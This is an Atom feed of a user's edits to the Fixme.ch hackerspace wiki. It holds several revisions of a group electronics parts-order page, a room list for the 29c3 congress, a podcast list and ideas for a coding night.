<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>http://fixme.ch/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Corecode</id>
		<title>Fixme.ch - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="http://fixme.ch/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Corecode"/>
		<link rel="alternate" type="text/html" href="http://fixme.ch/wiki/Special:Contributions/Corecode"/>
		<updated>2026-04-16T15:51:45Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.25.1</generator>

	<entry>
		<id>http://fixme.ch/w/index.php?title=CodingNight4&amp;diff=3711</id>
		<title>CodingNight4</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=CodingNight4&amp;diff=3711"/>
				<updated>2013-01-10T23:10:07Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:CodingNight]]&lt;br /&gt;
The coding night after the end of the world.&lt;br /&gt;
&lt;br /&gt;
february the 9th 2013&lt;br /&gt;
&lt;br /&gt;
== Ideas: ==&lt;br /&gt;
&lt;br /&gt;
* Develop a very simple white board on a web page which could be used to draw anything using the mouse or write whatever using the keyboard to express your statements to other team mates, no matter how far they stay physically. As long as they all are participants into the same white board session, they all can see what you draw or write on the white board right after you are done, and for that they don’t have to refresh their pages. The moment you draw something on the white board , or, write something on the chat window, all other persons are able to see it instantly. Similarly, you are also able to see their instant response when any other participant draws a figure on the white board or writes something on the discussion window.&lt;br /&gt;
** already exists: http://twiddla.com&lt;br /&gt;
&lt;br /&gt;
* If possible, an html5 webcam chat, like Tinychat (flash). http://stackoverflow.com/questions/7074230/how-to-access-webcam-from-html5 =&amp;gt; Take a look to WebRTC (http://www.webrtc.org/) used by Google for its Google Hangouts.&lt;br /&gt;
** +1 And now it seems Firefox is starting to support it https://www.mozilla.org/en-US/firefox/18.0/releasenotes/ --[[User:Rorist|Rorist]] 18:34, 10 January 2013 (CET)&lt;br /&gt;
&lt;br /&gt;
* Jeff dean fact : http://www.quora.com/Jeff-Dean/What-are-all-the-Jeff-Dean-facts&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=29c3&amp;diff=3043</id>
		<title>29c3</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=29c3&amp;diff=3043"/>
				<updated>2012-09-16T15:46:47Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have reserved 2 rooms with 4 beds each.&lt;br /&gt;
&lt;br /&gt;
* room: arrive 26, depart 30&lt;br /&gt;
* Mitch: arrive 25, depart 31&lt;br /&gt;
* Jimmie&lt;br /&gt;
* Simon: arrive 26, depart 30&lt;br /&gt;
* Daniel&lt;br /&gt;
* Aggelos&lt;br /&gt;
* Malik&lt;br /&gt;
* Sascha&lt;br /&gt;
* Flo&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=29c3&amp;diff=3042</id>
		<title>29c3</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=29c3&amp;diff=3042"/>
				<updated>2012-09-16T15:46:33Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have reserved 2 rooms with 4 beds each.&lt;br /&gt;
&lt;br /&gt;
* room: arrive 26, depart 30&lt;br /&gt;
* Mitch: arrive 25, depart 31&lt;br /&gt;
* Jimmie (unconfirmed)&lt;br /&gt;
* Simon: arrive 26, depart 30&lt;br /&gt;
* Daniel&lt;br /&gt;
* Aggelos&lt;br /&gt;
* Malik&lt;br /&gt;
* Sascha&lt;br /&gt;
* Flo&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=29c3&amp;diff=3038</id>
		<title>29c3</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=29c3&amp;diff=3038"/>
				<updated>2012-09-14T19:30:01Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: Created page with &amp;quot;I have reserved 2 rooms with 4 beds each.  * room: arrive 26, depart 30 * Mitch: arrive 25, depart 31 * Jimmie (unconfirmed) * Simon: arrive 26, depart 30 * Daniel * Aggelos * Ma...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I have reserved 2 rooms with 4 beds each.&lt;br /&gt;
&lt;br /&gt;
* room: arrive 26, depart 30&lt;br /&gt;
* Mitch: arrive 25, depart 31&lt;br /&gt;
* Jimmie (unconfirmed)&lt;br /&gt;
* Simon: arrive 26, depart 30&lt;br /&gt;
* Daniel&lt;br /&gt;
* Aggelos&lt;br /&gt;
* Malik&lt;br /&gt;
* Sascha (unconfirmed)&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=3001</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=3001"/>
				<updated>2012-08-24T12:57:00Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* July/August (pending) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).  [http://mouser.com Mouser] also ships free above 80 CHF.&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== July/August (pending) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nemen, 5, 568-1484-5-ND # IC SHIFT REGISTER 8BIT 16DIP, $0.50&lt;br /&gt;
simon, 20, SE3327-ND # CRYSTAL 77.5000KHZ 11PF CYL, $0.754&lt;br /&gt;
simon, 100, DMG3420U-7DICT-ND # MOSFET N-CH 20V 5.47A SOT23, $0.18560&lt;br /&gt;
malik, 1, #TLC5940NTG4-ND #IC LED DRIVER PWM CONTROL 28-DIP $2.78722&lt;br /&gt;
malik, 2, ED3128-ND #IC socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== August boxtec.ch (completed) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
3 x Ultrasonic Ranging Module HC-SR04 (47054) = CHF 37.20 &lt;br /&gt;
4 x Mini 5V DC Power Relay SRD-5VDC-SL-C (48183) = CHF 12.80 &lt;br /&gt;
1 x Duinomite MINI Basic Computer in small, compact form (31906) = CHF 27.20 &lt;br /&gt;
5 x Shrouded Header 2x3pin (m) (48168) = CHF 7.50 &lt;br /&gt;
5 x Shrouded Header 2x5pin (m) (48150) = CHF 8.00 &lt;br /&gt;
5 x Ribbon Crimp Connector 2x5pin (f) (48151) = CHF 5.00 &lt;br /&gt;
5 x Ribbon Crimp Connector 2x3pin (f) (48152) = CHF 4.25 &lt;br /&gt;
4 x Stepper Motor with Cable (47923) = CHF 73.20 &lt;br /&gt;
3 x USB Cable Mini USB (110cm) black (30306) = CHF 10.80 &lt;br /&gt;
1 x 8x8 Dot Matrix 3mm dia. Bicolor LED Display (45006) = CHF 4.50 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=3000</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=3000"/>
				<updated>2012-08-24T12:56:25Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).  [http://mouser.com Mouser] also ships free above 80 CHF.&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== July/August (pending) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nemen, 5, 568-1484-5-ND # IC SHIFT REGISTER 8BIT 16DIP, $0.50&lt;br /&gt;
simon, 20, SE3327-ND # CRYSTAL 77.5000KHZ 11PF CYL, $0.754&lt;br /&gt;
simon, 100, DMG3420U-7DICT-ND # MOSFET N-CH 20V 5.47A SOT23&lt;br /&gt;
malik, 1, #TLC5940NTG4-ND #IC LED DRIVER PWM CONTROL 28-DIP $2.78722&lt;br /&gt;
malik, 2, ED3128-ND #IC socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== August boxtec.ch (completed) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
3 x Ultrasonic Ranging Module HC-SR04 (47054) = CHF 37.20 &lt;br /&gt;
4 x Mini 5V DC Power Relay SRD-5VDC-SL-C (48183) = CHF 12.80 &lt;br /&gt;
1 x Duinomite MINI Basic Computer in small, compact form (31906) = CHF 27.20 &lt;br /&gt;
5 x Shrouded Header 2x3pin (m) (48168) = CHF 7.50 &lt;br /&gt;
5 x Shrouded Header 2x5pin (m) (48150) = CHF 8.00 &lt;br /&gt;
5 x Ribbon Crimp Connector 2x5pin (f) (48151) = CHF 5.00 &lt;br /&gt;
5 x Ribbon Crimp Connector 2x3pin (f) (48152) = CHF 4.25 &lt;br /&gt;
4 x Stepper Motor with Cable (47923) = CHF 73.20 &lt;br /&gt;
3 x USB Cable Mini USB (110cm) black (30306) = CHF 10.80 &lt;br /&gt;
1 x 8x8 Dot Matrix 3mm dia. Bicolor LED Display (45006) = CHF 4.50 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Podcasts&amp;diff=2935</id>
		<title>Podcasts</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Podcasts&amp;diff=2935"/>
				<updated>2012-08-08T19:21:13Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: Created page with &amp;quot;* [http://theamphour.com/ The Amp Hour] * [http://www.tested.com/ Still Untitled: The Adam Savage Project] * [http://spectrum.ieee.org/multimedia/podcasts/ IEEE Techwise Conversa...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [http://theamphour.com/ The Amp Hour]&lt;br /&gt;
* [http://www.tested.com/ Still Untitled: The Adam Savage Project]&lt;br /&gt;
* [http://spectrum.ieee.org/multimedia/podcasts/ IEEE Techwise Conversations]&lt;br /&gt;
* [http://www.freakonomics.com/radio/ Freakonomics Radio]&lt;br /&gt;
* [https://www.npr.org/blogs/money/ Planet Money]&lt;br /&gt;
* [http://www.radiolab.org/ Radiolab]&lt;br /&gt;
* [http://99percentinvisible.org/ 99% invisible]&lt;br /&gt;
* [http://wfmu.org/playlists/TI/ Too Much Information]&lt;br /&gt;
* [http://www.thisamericanlife.org/ This American Life]&lt;br /&gt;
* [http://cre.fm/ CRE: Technik, Kultur, Gesellschaft (German)]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2885</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2885"/>
				<updated>2012-07-28T13:05:57Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* International Distributors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
&lt;br /&gt;
We can also order parts from China at a very low sales price.  However, such orders should be high volume for each part.  [[TaoBao Order]]&lt;br /&gt;
&lt;br /&gt;
= International Distributors =&lt;br /&gt;
&lt;br /&gt;
We usually order from [http://digikey.com DigiKey] (free shipping, fairly cheap) or [http://www.futureelectronics.com Future Electronics] ($50 shipping, very cheap).  [http://mouser.com Mouser] also ships free above 80 CHF.&lt;br /&gt;
&lt;br /&gt;
Because DigiKey and Future carry different parts, it is not easy to do a cheap order with exactly one part, because sometimes alternative parts exist in the other store that are cheaper.&lt;br /&gt;
List alternative parts in the ''Article Number'' field.  Let's see how that works out.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Who, Count, Article Number(s)&lt;br /&gt;
Start your list below:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
== July/August (pending) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nemen, 5, 568-1484-5-ND # IC SHIFT REGISTER 8BIT 16DIP, $0.50&lt;br /&gt;
simon, 20, SE3327-ND # CRYSTAL 77.5000KHZ 11PF CYL, $0.754&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ??? May (pending ?! ) ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Usr || Qte || Part Number || Description || align=&amp;quot;right&amp;quot; | Price&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || DMN4009LK3-13DICT-ND || MOSFET N-CH 40V 18A DPAK || align=&amp;quot;right&amp;quot; | 1.77&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || NTTFS5811NLTAGOSCT-ND || MOSFET N-CH 40V 53.6A 8DFN || align=&amp;quot;right&amp;quot; | 2.31&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || 785-1040-1-ND || MOSFET N-CH 40V 14A 8-SOIC || align=&amp;quot;right&amp;quot; | 2.85&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05SM9ACT-ND || MOSFET N-CH 50V 14A DPAK || align=&amp;quot;right&amp;quot; | 2.46&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD16N05SM9ACT-ND || MOSFET N-CH 50V 16A TO-252AA || align=&amp;quot;right&amp;quot; | 2.76&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 3 || RFD14N05LSM-ND || MOSFET N-CH 50V 14A TO-252AA || align=&amp;quot;right&amp;quot; | 2.43&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2807-ND || TERM BLOCK HDR 3.81MM 16POS PCB || align=&amp;quot;right&amp;quot; | 3.20&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2875-ND || TERM BLOCK PLUG 3.81MM 2POS || align=&amp;quot;right&amp;quot; | 3.04&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-4061-ND || TERM BLK PLUG 2 POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.38&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 8 || ED2808-ND || TERM BLOCK HDR 3.81MM 2POS PCB || align=&amp;quot;right&amp;quot; | 2.16&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 281-1939-ND || TERM BLK HDR PCB 2POS 3.81MM GRN || align=&amp;quot;right&amp;quot; | 0.86&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || A98218-ND || TERM BLOCK HDR 4POS R/A 3.81MM || align=&amp;quot;right&amp;quot; | 1.37&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-4069-ND || TERM BLK PLUG 4 POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.66&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 1 || 609-3788-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 1.47&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || ED2877-ND || TERM BLOCK PLUG 3.81MM 4POS || align=&amp;quot;right&amp;quot; | 2.74&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 2 || 609-3799-ND || TERM BLOCK PLUG 4POS 3.81MM || align=&amp;quot;right&amp;quot; | 2.68&lt;br /&gt;
|-&lt;br /&gt;
|SA|| 4 || ED2810-ND || TERM BLOCK HDR 3.81MM 4POS PCB || align=&amp;quot;right&amp;quot; | 1.92&lt;br /&gt;
|-&lt;br /&gt;
!colspan = &amp;quot;5&amp;quot;| Total 38.06&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==5 April 2012 (completed)==&lt;br /&gt;
''il me faut aussi des borniers à visser, pour du fil normal (max 2mm²) par 2 (15pc), 3 (15pc) et 12 (10pc)? je trouve pas sur digikey :-( si quelqu'un sait où trouver..'' [[User:Petaflot|Petaflot]] 15:52, 4 April 2012 (CEST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DL, 10, 360-1816-ND # on-off-on switches&lt;br /&gt;
DL, 3, 	432-1257-ND # off-on-mom switches&lt;br /&gt;
DL, 3, 360-2073-ND # on-on-on switches&lt;br /&gt;
DL, 10, EG2394-ND # mom-off-on SPDT switches&lt;br /&gt;
DL, 3, 360-2080-ND # mom-off-on DPDT switches&lt;br /&gt;
DL, 1, 27931-ND # CO detector will make ND happy ;-)&lt;br /&gt;
DL, 4, LM2596S-ADJ-ND # to fix DC converters..&lt;br /&gt;
DL, 10, 568-1047-5-ND # I²C 8-bit LED driver with linux userspace utilities :-)&lt;br /&gt;
DL, 10, Z995-ND # relay socket, 5 pos through-hole&lt;br /&gt;
DL, 6, Z855-ND # relay socket, 5 pos DIN&lt;br /&gt;
DL, 2, Z2605-ND #relay socket, 8 pos&lt;br /&gt;
DL, 2, Z207-ND # relay socket 8 pos DIN&lt;br /&gt;
DL, 2 Z1637-ND # DPDT relay, 5A&lt;br /&gt;
DL, 10, Z1633-ND # 24V SPDT relay, 10A&lt;br /&gt;
DL, 15, 751-1129-ND #LEDs&lt;br /&gt;
DL, 15, 751-1114-ND #LEDs&lt;br /&gt;
DL, 15, 751-1153-ND #LEDs&lt;br /&gt;
DL, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
DL, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
DL, 5, 296-9217-5-ND # dual analog mux/demux&lt;br /&gt;
DL, 10, ED3114-ND # 14 pin DIP socket&lt;br /&gt;
DL, 10, 3M5463-ND # 16 pin DIP socket&lt;br /&gt;
DL, 10, 3M5476-ND # 18 pin DIP socket&lt;br /&gt;
&lt;br /&gt;
337,78 Euros&lt;br /&gt;
&lt;br /&gt;
NEM, 5, CP3-1000-ND # 2.1mm plug&lt;br /&gt;
NEM, 5 ATTINY13A-PU-ND # ATtiny13&lt;br /&gt;
NEM, 1, LM386N-1-ND # LM386 AMP Audio&lt;br /&gt;
NEM, 3, BH9V-PC-ND # Battery holder&lt;br /&gt;
NEM, 2, 3352T-104LF-ND # 100k variable resistor&lt;br /&gt;
NEM, 2, CP-3536-ND # 3.5mm jack&lt;br /&gt;
NEM, 1, RNF364K-ND # Heat shrink tube&lt;br /&gt;
NEM, 1, RNF012K-ND # Heat shrink tube&lt;br /&gt;
NEM, 5, A100204-ND # 8 pins DIP socket&lt;br /&gt;
&lt;br /&gt;
362,89 Euros, delta = 25.11 Euros&lt;br /&gt;
&lt;br /&gt;
JB, 5, 568-1416-5-ND #demux, active high output&lt;br /&gt;
JB, 5, 296-1600-5-ND #ShiftRegisters&lt;br /&gt;
JB, 20, 751-1129-ND #LEDs&lt;br /&gt;
JB, 20, 751-1114-ND #LEDs&lt;br /&gt;
JB, 20, 751-1153-ND #LEDs&lt;br /&gt;
JB, 10, A32870-ND #16 pins DIP socket&lt;br /&gt;
JB, 1, 438-1022-ND #prototype board&lt;br /&gt;
JB, 1, 299/1 SV005-ND #non insulated wire&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
443,24 Euros, delta = 80.35 Euros&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ND, to many things, I make the order of my items + the current list on wednesday April 4&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Order sent 5th of april @ 00:15&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2884</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=2884"/>
				<updated>2012-07-28T12:54:27Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* July/August (pending) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= China =&lt;br /&gt;
